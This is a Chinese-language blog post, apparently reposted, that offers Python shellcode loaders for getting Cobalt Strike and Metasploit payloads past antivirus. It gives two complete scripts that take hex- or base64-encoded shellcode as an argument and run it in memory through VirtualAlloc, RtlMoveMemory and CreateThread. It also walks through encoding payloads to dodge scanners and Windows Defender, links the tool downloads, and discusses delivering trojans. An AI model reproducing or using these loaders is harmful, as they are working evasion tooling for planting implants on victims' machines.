[原創]Python免殺ShellCode加載器(Cobaltstrike/Metasploit)


0x001 原理

采用分離法,即將ShellCode和加載器分離。方法較LOW但免殺。

本文主要將ShellCode轉成HEX,再通過加載器執行ShellCode。

PS: 何為SC加載器,即專門用於加載所提供ShellCode的工具。

如同HTTP發包工具,支持提交HTTP,寫死參數最多只能叫EXP。

再詳細點,打個比方,你只會炒一個菜,你敢說你是廚師嗎?

0x002 ShellCode免殺

CS可生成很多種格式的ShellCode,具體該用哪一種呢?

由於部分殺軟會查殺ShellCode文件,所以不能直接使用RAW。

其實不用測都知道HEX字串肯定比RAW或標准C格式安全。

因為RAW和標准C格式一直以來都比較常用,被殺一點都不奇怪。

當然實際上使用任意格式都可以,前提是需要加解密。

下面我們拿CS3.13的ShellCode來做個對比,結果如下

CS生成Raw格式的ShellCode被7個殺軟查殺(payload.bin)
http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635
將CS的ShellCode轉成Hex無一殺軟查殺(hex.txt)
http://r.virscan.org/language/zh-cn/report/fe7412921c7acc9d69b0da72793cd57d

0x003 加載器

以python為例,這個無腦的語言開發比較快。要使用其它加解密算法也非常簡單

缺點就是文件有點大而已,不過問題不大,畢竟在免殺面前2M也是能接受的哈哈。

其它語言也同理啊,大家不要糾結用什么語言來寫工具。用PY只是便於大家理解

ScRunHex.py

#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
 
        

下面以前寫的加載器,GUI的專門用於本地測試ShellCode是否正常用的,在測試漏洞的時候,

首先先保證你的ShellCode是可運行的吧,要不然漏洞沒問題,馬沒上線,你說漏洞不行就亂來了。

除了PY和C#以外,VC、Delphi、VB的SC加載都有寫過,Delphi版的在博客里就能找到例子。

 0x004 實戰CS上線

一、Hex ShellCode

1.首先使用CS生成標准C格式的payload,格式(\xfc\xe8\x89\x00)在飛刀里我定義為Char格式

2.因為CS沒有直接生成HEX格式的功能,所以需要使用K8飛刀將其轉換成HEX格式。

具體步驟:選中Char格式的Shellcode,右鍵-Hacking--ShellCode--Char2Hex

其它溢出漏洞使用的ShellCode格式,均可使用飛刀進行轉換或反轉成標准格式

3.使用scrun.exe加載Hex格式的ShellCode,發現我們的CS上線了。

如果我沒記錯此方式目前也還能過Win10系統自帶的Defender

不知大家有沒發現Hex字符串除了不被殺以外,還無需落地

而Bin文件需要落地且被Defender殺(這個我肯定沒有記錯)

二、Base64(Hex) ShellCode

當然我們還可以對其進一步加密,先將Char轉成Hex,再將HEX加密轉成Base64,加密方法同上。

ScRunBase64.py 執行Base64格式ShellCode代碼如下

#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

 

0x005 下載

 https://github.com/k8gege/scrun

 https://github.com/k8gege/K8tools/blob/master/scrun.exe

 https://github.com/k8gege/K8tools/blob/master/scrun.py

 

PS:網上有些文章把aspx加載shellcode稱為分離Payload,難道只有EXE才叫Payload?

那么SQL注入時的SQL語句為什么叫Payload?遠程代碼執行的代碼為什么叫Payload?

溢出漏洞的ShellCode為什么叫Payload? ShellCode寫死在加載器里的顯然不叫分離。

此時的加載器已經不叫加載器了,正如HTTP發包工具,支持任意HTTP發包。

但是把參數寫死的HTTP發包,為什么只是叫XX利用工具,而不是叫發包工具。

同理,ShellCode加載器專門用於加載各類ShellCode的才叫加載器。

其實以前也寫過VC版的加載器,只是方法較LOW,需要多一個文件或傳參執行不適合發馬

發馬又得想方設法將其捆綁成一個文件,捆綁可能還會被殺,VC被殺得比較歷害。

ShellCode加密分離后,因為最終執行需解必,拼按時就被殺了,都還沒得加載。

所以從未打算使用這種LOW方法免殺,一般是沒能力做單文件免殺才需要分離。

而不是現在一些人認為所謂高級新的免殺方法,這種小兒科,在剛接觸這行時就會了

看看07-12年那會,捆綁還多么流行,木馬切割成多文件合並免殺的思路會沒人想到?

現在是因為捆綁可能導致更容易被殺,沒辦法才被迫使用分離,畢竟能一文件誰願多文件

當然單文件我也可以做,只是費點時間,懶得做而已。相關APT文章里就很多方法

基本都是白名單加載DLL,DLL釋放各種加密文件,再解密執行,最終加載CS而已。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM